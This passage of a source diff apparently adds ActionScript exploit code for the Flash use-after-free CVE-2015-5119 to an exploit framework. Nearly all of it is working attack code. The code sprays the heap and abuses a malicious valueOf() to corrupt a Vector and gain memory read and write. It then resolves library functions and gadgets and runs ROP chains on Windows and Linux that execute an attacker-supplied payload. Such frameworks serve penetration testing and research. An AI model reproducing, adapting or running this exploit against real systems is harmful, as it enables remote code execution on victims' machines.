0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Exploit.as b/external/source/exploits/CVE-2015-5119/Exploit.as new file mode 100755 index 0000000000..c6b04367f7 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Exploit.as @@ -0,0 +1,37 @@ +// Build with Flex SDK 4.6 + AIR 3.1 +package +{ + import flash.display.Sprite + import flash.events.Event + import mx.utils.Base64Decoder + import flash.display.LoaderInfo + import flash.utils.ByteArray + + public class Exploit extends Sprite + { + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + + public function Exploit():void + { + //trace("Got to checkpoint 0"); + if (stage) init(); + else addEventListener(Event.ADDED_TO_STAGE, init); + } + + private function init(e:Event = null):void + { + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + removeEventListener(Event.ADDED_TO_STAGE, init); + Logger.log('TryExpl...') + MyClass.TryExpl(this, platform, payload) + } + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/ExploitByteArray.as b/external/source/exploits/CVE-2015-5119/ExploitByteArray.as new file mode 100755 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function read_string(addr:uint, length:uint = 0):String + { + ba.position = addr + if (length == 0) + return ba.readUTFBytes(MAX_STRING_LENGTH) + else + return ba.readUTFBytes(length) + } + + public function write(addr:uint, value:* = 0, zero:Boolean = true):void + { + var i:uint + + if (addr) ba.position = addr + if (value is String) { + for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i)) + if (zero) ba.writeByte(0) + } else if (value is ByteArray) { + var value_length:uint = value.length + for (i = 0; i < value_length; i++) ba.writeByte(value.readByte()) + } else ba.writeUnsignedInt(value) + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/ExploitVector.as b/external/source/exploits/CVE-2015-5119/ExploitVector.as new file mode 100755 index 0000000000..18aa4778a0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/ExploitVector.as @@ -0,0 +1,75 @@ +package +{ + public class ExploitVector + { + private var uv:Vector. + public var original_length:uint + + public function ExploitVector(v:Vector., length:uint) + { + uv = v + original_length = length + } + + public function restore():void + { + uv[0x3ffffffe] = original_length + } + + public function is_ready():Boolean + { + if (uv.length > original_length) + { + return true + } + return false + } + + public function at(pos:uint):uint + { + return uv[pos] + } + + // pos: position where a Vector.[0] lives + public function set_own_address(pos:uint):void + { + uv[0] = uv[pos - 5] - ((pos - 5) * 4) - 0xc + } + + public function read(addr:uint):uint + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + return uv[pos] + } + + public function write(addr:uint, value:uint = 0):void + { + var pos:uint = 0 + + if (addr > uv[0]) { + pos = ((addr - uv[0]) / 4) - 2 + } else { + pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1 + } + + uv[pos] = value + } + + public function search_pattern(pattern:uint, limit:uint):uint + { + for (var i:uint = 0; i < limit/4; i++) { + if (uv[i] == pattern) { + return i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Exploiter.as b/external/source/exploits/CVE-2015-5119/Exploiter.as new file mode 100755 index 0000000000..591cdce944 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Exploiter.as @@ -0,0 +1,367 @@ +package +{ + import flash.utils.ByteArray + import flash.system.System + + public class Exploiter + { + private const VECTOR_OBJECTS_LENGTH:uint = 1014 + private var exploit:Exploit + private var ev:ExploitVector + private var eba:ExploitByteArray + private var payload:ByteArray + private var platform:String + private var pos:uint + private var byte_array_object:uint + private var main:uint + private var stack_object:uint + private var payload_space_object:uint + private var buffer_object:uint + private var magic:uint + private var magic_arg0:uint + private var magic_arg1:uint + private var magic_object:uint + private var magic_table:uint + private var buffer:uint + private var vtable:uint + private var stack_address:uint + private var payload_address:uint + private var stub_address:uint + private var stub_space_object:uint + private var stub:Vector. = new Vector.(8) + private var stack:Vector. = new Vector.(0x6400) + private var payload_space:Vector. = new Vector.(0x6400) + private var spray:Vector. = new Vector.(90000) + + public function Exploiter(exp:Exploit, pl:String, p:ByteArray, uv:Vector., uv_length:uint):void + { + exploit = exp + payload = p + platform = pl + + ev = new ExploitVector(uv, uv_length) + if (!ev.is_ready()) return + eba = new ExploitByteArray(platform) + spray_objects() + try { pos = search_objects() } catch (err:Error) { ev.restore(); cleanup(); return; } + ev.set_own_address(pos) + if (!disclose_objects()) { ev.restore(); cleanup(); return; } + disclose_addresses() + corrupt_byte_array() + if (!eba.is_ready()) { ev.restore(); cleanup(); return } + do_rop() + restore_byte_array() + ev.restore() + cleanup() + } + + static function Magic(...a){} + + private function spray_objects():void + { + Logger.log("[*] Exploiter - spray_objects()") + + // mov eax,[esp+0x4] + // xchg eax,esp + // rets + stub[0] = 0x0424448B + stub[1] = 0x0000C394 + + for (var i:uint = 0; i < spray.length; i++) + { + spray[i] = new Vector.(VECTOR_OBJECTS_LENGTH) + spray[i][0] = eba.ba + spray[i][1] = exploit + spray[i][2] = stack + spray[i][3] = payload_space + spray[i][4] = Magic + spray[i][5] = stub + } + } + + private function search_objects():uint + { + Logger.log("[*] Exploiter - search_objects()") + var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100) + return idx + 1 + } + + private function disclose_objects():Boolean + { + Logger.log("[*] Exploiter - disclose_objects()") + byte_array_object = ev.at(pos) - 1 + main = ev.at(pos + 1) - 1 + stack_object = ev.at(pos + 2) - 1 + payload_space_object = ev.at(pos + 3) - 1 + magic = ev.at(pos + 4) - 1 + stub_space_object = ev.at(pos + 5) - 1 + if (byte_array_object < 0x1000 || main < 0x1000 || stack_object < 0x1000 || payload_space_object < 0x1000) { + return false + } + return true + } + + private function disclose_addresses():void + { + Logger.log("[*] Exploiter - disclose_addresses()") + if (platform == "linux") + { + buffer_object = ev.read(byte_array_object + 0x10) + buffer = ev.read(buffer_object + 0x1c) + } + else if (platform == "win") + { + buffer_object = ev.read(byte_array_object + 0x40) + buffer = ev.read(buffer_object + 8) + } + vtable = ev.read(main) + stack_address = ev.read(stack_object + 0x18) + payload_address = ev.read(payload_space_object + 0x18) + stub_address = ev.read(stub_space_object + 0x18) + magic_object = ev.read(ev.read(ev.read(ev.read(magic + 8) + 0x14) + 4) + 0xb0) + magic_table = ev.read(magic_object) + magic_arg0 = ev.read(magic + 0x1c) + magic_arg1 = ev.read(magic + 0x20) + } + + private function corrupt_byte_array():void + { + Logger.log("[*] Exploiter - corrupt_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c) // *array + ev.write(buffer_object + 0x20, 0xffffffff) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8) // *array + ev.write(buffer_object + 16, 0xffffffff) // capacity + } + eba.lets_ready() + } + + private function restore_byte_array():void + { + Logger.log("[*] Exploiter - restore_byte_array(): " + platform) + if (platform == "linux") + { + ev.write(buffer_object + 0x1c, buffer) // *array + ev.write(buffer_object + 0x20, 1024) // capacity + } + else if (platform == "win") + { + ev.write(buffer_object + 8, buffer) // *array + ev.write(buffer_object + 16, 1024) // capacity + } + eba.set_length(eba.original_length) + } + + private function do_rop():void + { + Logger.log("[*] Exploiter - do_rop()") + if (platform == "linux") { + do_rop_linux() + } else if (platform == "win") { + do_rop_windows() + } else { + return + } + } + + private function do_rop_windows():void + { + Logger.log("[*] Exploiter - do_rop_windows()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernel32) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernel32) + var createthread:uint = pe.procedure("CreateThread", kernel32) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, magic_table, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, magic_object, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc2\x10\x00", false) // xchg esi, esp # ret 0x10 + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake stack on memory + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7f6e0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + for (var i:uint; i < 0x100; i++) { + eba.write(stack_address + 8 + (i * 4), eba.read(magic_table - 0x80 + i * 4)) + } + + // VirtualProtect the stub with a *reliable* stackpivot + eba.write(stack_address + 8 + 0x80 + 28, virtualprotect) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stub_address) + eba.write(magic + 0x20, 0x10) + var args:Array = new Array(0x41) + Magic.call.apply(null, args); + + // Call to our stackpivot and init the rop chain + eba.write(stack_address + 8 + 0x80 + 28, stub_address + 8) + eba.write(magic_object, stack_address + 8 + 0x80); // overwrite vtable (needs to be restored) + eba.write(magic + 0x1c, stack_address + 0x18000) + Magic.call.apply(null, null); + eba.write(magic_object, magic_table); + eba.write(magic + 0x1c, magic_arg0) + eba.write(magic + 0x20, magic_arg1) + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/Logger.as b/external/source/exploits/CVE-2015-5119/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2015-5119/MyClass.as b/external/source/exploits/CVE-2015-5119/MyClass.as new file mode 100755 index 0000000000..8556ff6c16 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/MyClass.as @@ -0,0 +1,98 @@ +package +{ + import flash.display.DisplayObjectContainer; + import flash.utils.ByteArray; + import flash.system.Capabilities; + import flash.events.MouseEvent; + import flash.external.ExternalInterface; + + public class MyClass + { + static var + _gc:Array, + _va:Array, + _ba:ByteArray, + _corrupted:Vector., + _isDbg:Boolean = Capabilities.isDebugger; + + // define malicious valueOf() + prototype.valueOf = function () + { + Logger.log("MyClass.valueOf()"); + + _va = new Array(5); + _gc.push(_va); // protect from GC // for RnD + + // reallocate _ba storage + _ba.length = 0x1100; + + // reuse freed memory + for(var i:int; i < _va.length; i++) + _va[i] = new Vector.(0x3f0); + + // return one byte for overwriting + return 0x40; + } + + // try to corrupt the length value of Vector. + static function TryExpl(e:Exploit, platform:String, payload:ByteArray) : Boolean + { + Logger.log("tryexpl") + try + { + var alen:int = 90; // should be multiply of 3 + var a = new Array(alen); + if (_gc == null) _gc = new Array(); + _gc.push(a); // protect from GC // for RnD + + // try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ] + for(var i:int; i < alen; i+=3){ + a[i] = new MyClass2(i); + + a[i+1] = new ByteArray(); + a[i+1].length = 0xfa0; + + a[i+2] = new MyClass2(i+2); + } + + // find these pages + for(i=alen-5; i >= 0; i-=3) + { + // take next allocated ByteArray + _ba = a[i]; + // call valueOf() and cause UaF memory corruption + _ba[3] = new MyClass(); + // _ba[3] should be unchanged 0 + Logger.log("_ba[3] = " + _ba[3]); + if (_ba[3] != 0) throw new Error("can't cause UaF"); + + // check results // find corrupted vector + for (var j:int = 0; j < _va.length; j++) { + if (_va[j].length != 0x3f0) { + _corrupted = _va[j] + } else { + delete(_va[j]) + _va[j] = null + } + } + + if (_corrupted != null) { + Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16)); + var exploiter:Exploiter = new Exploiter(e, platform, payload,_corrupted, 0x3f0) + Logger.log("_corrupted.length = 0x" + _corrupted.length.toString(16)); + return true + } + } + Logger.log("bad allocation. try again."); + } + catch (e:Error) + { + Logger.log("TryExpl() " + e.toString()); + } + + return false; + } + + } + +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/MyClass1.as b/external/source/exploits/CVE-2015-5119/MyClass1.as new file mode 100755 index 0000000000..84ba8381eb --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/MyClass1.as @@ -0,0 +1,9 @@ +package +{ + import flash.utils.ByteArray; + + class MyClass1 extends ByteArray + { + var o1:Object, o2:Object, o3:Object, o4:Object; + } +} \ No newline at end of file diff --git a/external/source/exploits/CVE-2015-5119/MyClass2.as b/external/source/exploits/CVE-2015-5119/MyClass2.as new file mode 100755 index 0000000000..c6c82ae2e0 --- /dev/null +++ b/external/source/exploits/CVE-2015-5119/MyClass2.as @@ -0,0 +1,115 @@ +package +{ + class MyClass2 extends MyClass1 + { + var + // enlarge the MyClass2 size by dummy attributes + a0 :uint, a1 :uint, a2 :uint, a3 :uint, a4 :uint, a5 :uint, a6 :uint, a7 :uint, a8 :uint, a9 :uint, + a10:uint, a11:uint, a12:uint, a13:uint, a14:uint, a15:uint, a16:uint, a17:uint, a18:uint, a19:uint, + a20:uint, a21:uint, a22:uint, a23:uint, a24:uint, a25:uint, a26:uint, a27:uint, a28:uint, a29:uint, + a30:uint, a31:uint, a32:uint, a33:uint, a34:uint, a35:uint, a36:uint, a37:uint, a38:uint, a39:uint, + a40:uint, a41:uint, a42:uint, a43:uint, a44:uint, a45:uint, a46:uint, a47:uint, a48:uint, a49:uint, + a50:uint, a51:uint, a52:uint, a53:uint, a54:uint, a55:uint, a56:uint, a57:uint, a58:uint, a59:uint, + a60:uint, a61:uint, a62:uint, a63:uint, a64:uint, a65:uint, a66:uint, a67:uint, a68:uint, a69:uint, + a70:uint, a71:uint, a72:uint, a73:uint, a74:uint, a75:uint, a76:uint, a77:uint, a78:uint, a79:uint, + a80:uint, a81:uint, a82:uint, a83:uint, a84:uint, a85:uint, a86:uint, a87:uint, a88:uint, a89:uint, + a90:uint, a91:uint, a92:uint, a93:uint, a94:uint, a95:uint, a96:uint, a97:uint, a98:uint, a99:uint, + + a100:uint, a101:uint, a102:uint, a103:uint, a104:uint, a105:uint, a106:uint, a107:uint, a108:uint, a109:uint, + a110:uint, a111:uint, a112:uint, a113:uint, a114:uint, a115:uint, a116:uint, a117:uint, a118:uint, a119:uint, + a120:uint, a121:uint, a122:uint, a123:uint, a124:uint, a125:uint, a126:uint, a127:uint, a128:uint, a129:uint, + a130:uint, a131:uint, a132:uint, a133:uint, a134:uint, a135:uint, a136:uint, a137:uint, a138:uint, a139:uint, + a140:uint, a141:uint, a142:uint, a143:uint, a144:uint, a145:uint, a146:uint, a147:uint, a148:uint, a149:uint, + a150:uint, a151:uint, a152:uint, a153:uint, a154:uint, a155:uint, a156:uint, a157:uint, a158:uint, a159:uint, + a160:uint, a161:uint, a162:uint, a163:uint, a164:uint, a165:uint, a166:uint, a167:uint, a168:uint, a169:uint, + a170:uint, a171:uint, a172:uint, a173:uint, a174:uint, a175:uint, a176:uint, a177:uint, a178:uint, a179:uint, + a180:uint, a181:uint, a182:uint, a183:uint, a184:uint, a185:uint, a186:uint, a187:uint, a188:uint, a189:uint, + a190:uint, a191:uint, a192:uint, a193:uint, a194:uint, a195:uint, a196:uint, a197:uint, a198:uint, a199:uint, + + a200:uint, a201:uint, a202:uint, a203:uint, a204:uint, a205:uint, a206:uint, a207:uint, a208:uint, a209:uint, + a210:uint, a211:uint, a212:uint, a213:uint, a214:uint, a215:uint, a216:uint, a217:uint, a218:uint, a219:uint, + a220:uint, a221:uint, a222:uint, a223:uint, a224:uint, a225:uint, a226:uint, a227:uint, a228:uint, a229:uint, + a230:uint, a231:uint, a232:uint, a233:uint, a234:uint, a235:uint, a236:uint, a237:uint, a238:uint, a239:uint, + a240:uint, a241:uint, a242:uint, a243:uint, a244:uint, a245:uint, a246:uint, a247:uint, a248:uint, a249:uint, + a250:uint, a251:uint, a252:uint, a253:uint, a254:uint, a255:uint, a256:uint, a257:uint, a258:uint, a259:uint, + a260:uint, a261:uint, a262:uint, a263:uint, a264:uint, a265:uint, a266:uint, a267:uint, a268:uint, a269:uint, + a270:uint, a271:uint, a272:uint, a273:uint, a274:uint, a275:uint, a276:uint, a277:uint, a278:uint, a279:uint, + a280:uint, a281:uint, a282:uint, a283:uint, a284:uint, a285:uint, a286:uint, a287:uint, a288:uint, a289:uint, + a290:uint, a291:uint, a292:uint, a293:uint, a294:uint, a295:uint, a296:uint, a297:uint, a298:uint, a299:uint, + + a300:uint, a301:uint, a302:uint, a303:uint, a304:uint, a305:uint, a306:uint, a307:uint, a308:uint, a309:uint, + a310:uint, a311:uint, a312:uint, a313:uint, a314:uint, a315:uint, a316:uint, a317:uint, a318:uint, a319:uint, + a320:uint, a321:uint, a322:uint, a323:uint, a324:uint, a325:uint, a326:uint, a327:uint, a328:uint, a329:uint, + a330:uint, a331:uint, a332:uint, a333:uint, a334:uint, a335:uint, a336:uint, a337:uint, a338:uint, a339:uint, + a340:uint, a341:uint, a342:uint, a343:uint, a344:uint, a345:uint, a346:uint, a347:uint, a348:uint, a349:uint, + a350:uint, a351:uint, a352:uint, a353:uint, a354:uint, a355:uint, a356:uint, a357:uint, a358:uint, a359:uint, + a360:uint, a361:uint, a362:uint, a363:uint, a364:uint, a365:uint, a366:uint, a367:uint, a368:uint, a369:uint, + a370:uint, a371:uint, a372:uint, a373:uint, a374:uint, a375:uint, a376:uint, a377:uint, a378:uint, a379:uint, + a380:uint, a381:uint, a382:uint, a383:uint, a384:uint, a385:uint, a386:uint, a387:uint, a388:uint, a389:uint, + a390:uint, a391:uint, a392:uint, a393:uint, a394:uint, a395:uint, a396:uint, a397:uint, a398:uint, a399:uint, + + a400:uint, a401:uint, a402:uint, a403:uint, a404:uint, a405:uint, a406:uint, a407:uint, a408:uint, a409:uint, + a410:uint, a411:uint, a412:uint, a413:uint, a414:uint, a415:uint, a416:uint, a417:uint, a418:uint, a419:uint, + a420:uint, a421:uint, a422:uint, a423:uint, a424:uint, a425:uint, a426:uint, a427:uint, a428:uint, a429:uint, + a430:uint, a431:uint, a432:uint, a433:uint, a434:uint, a435:uint, a436:uint, a437:uint, a438:uint, a439:uint, + a440:uint, a441:uint, a442:uint, a443:uint, a444:uint, a445:uint, a446:uint, a447:uint, a448:uint, a449:uint, + a450:uint, a451:uint, a452:uint, a453:uint, a454:uint, a455:uint, a456:uint, a457:uint, a458:uint, a459:uint, + a460:uint, a461:uint, a462:uint, a463:uint, a464:uint, a465:uint, a466:uint, a467:uint, a468:uint, a469:uint, + a470:uint, a471:uint, a472:uint, a473:uint, a474:uint, a475:uint, a476:uint, a477:uint, a478:uint, a479:uint, + a480:uint, a481:uint, a482:uint, a483:uint, a484:uint, a485:uint, a486:uint, a487:uint, a488:uint, a489:uint, + a490:uint, a491:uint, a492:uint, a493:uint, a494:uint, a495:uint, a496:uint, a497:uint, a498:uint, a499:uint, + + a500:uint, a501:uint, a502:uint, a503:uint, a504:uint, a505:uint, a506:uint, a507:uint, a508:uint, a509:uint, + a510:uint, a511:uint, a512:uint, a513:uint, a514:uint, a515:uint, a516:uint, a517:uint, a518:uint, a519:uint, + a520:uint, a521:uint, a522:uint, a523:uint, a524:uint, a525:uint, a526:uint, a527:uint, a528:uint, a529:uint, + a530:uint, a531:uint, a532:uint, a533:uint, a534:uint, a535:uint, a536:uint, a537:uint, a538:uint, a539:uint, + a540:uint, a541:uint, a542:uint, a543:uint, a544:uint, a545:uint, a546:uint, a547:uint, a548:uint, a549:uint, + a550:uint, a551:uint, a552:uint, a553:uint, a554:uint, a555:uint, a556:uint, a557:uint, a558:uint, a559:uint, + a560:uint, a561:uint, a562:uint, a563:uint, a564:uint, a565:uint, a566:uint, a567:uint, a568:uint, a569:uint, + a570:uint, a571:uint, a572:uint, a573:uint, a574:uint, a575:uint, a576:uint, a577:uint, a578:uint, a579:uint, + a580:uint, a581:uint, a582:uint, a583:uint, a584:uint, a585:uint, a586:uint, a587:uint, a588:uint, a589:uint, + a590:uint, a591:uint, a592:uint, a593:uint, a594:uint, a595:uint, a596:uint, a597:uint, a598:uint, a599:uint, + + a600:uint, a601:uint, a602:uint, a603:uint, a604:uint, a605:uint, a606:uint, a607:uint, a608:uint, a609:uint, + a610:uint, a611:uint, a612:uint, a613:uint, a614:uint, a615:uint, a616:uint, a617:uint, a618:uint, a619:uint, + a620:uint, a621:uint, a622:uint, a623:uint, a624:uint, a625:uint, a626:uint, a627:uint, a628:uint, a629:uint, + a630:uint, a631:uint, a632:uint, a633:uint, a634:uint, a635:uint, a636:uint, a637:uint, a638:uint, a639:uint, + a640:uint, a641:uint, a642:uint, a643:uint, a644:uint, a645:uint, a646:uint, a647:uint, a648:uint, a649:uint, + a650:uint, a651:uint, a652:uint, a653:uint, a654:uint, a655:uint, a656:uint, a657:uint, a658:uint, a659:uint, + a660:uint, a661:uint, a662:uint, a663:uint, a664:uint, a665:uint, a666:uint, a667:uint, a668:uint, a669:uint, + a670:uint, a671:uint, a672:uint, a673:uint, a674:uint, a675:uint, a676:uint, a677:uint, a678:uint, a679:uint, + a680:uint, a681:uint, a682:uint, a683:uint, a684:uint, a685:uint, a686:uint, a687:uint, a688:uint, a689:uint, + a690:uint, a691:uint, a692:uint, a693:uint, a694:uint, a695:uint, a696:uint, a697:uint, a698:uint, a699:uint, + + a700:uint, a701:uint, a702:uint, a703:uint, a704:uint, a705:uint, a706:uint, 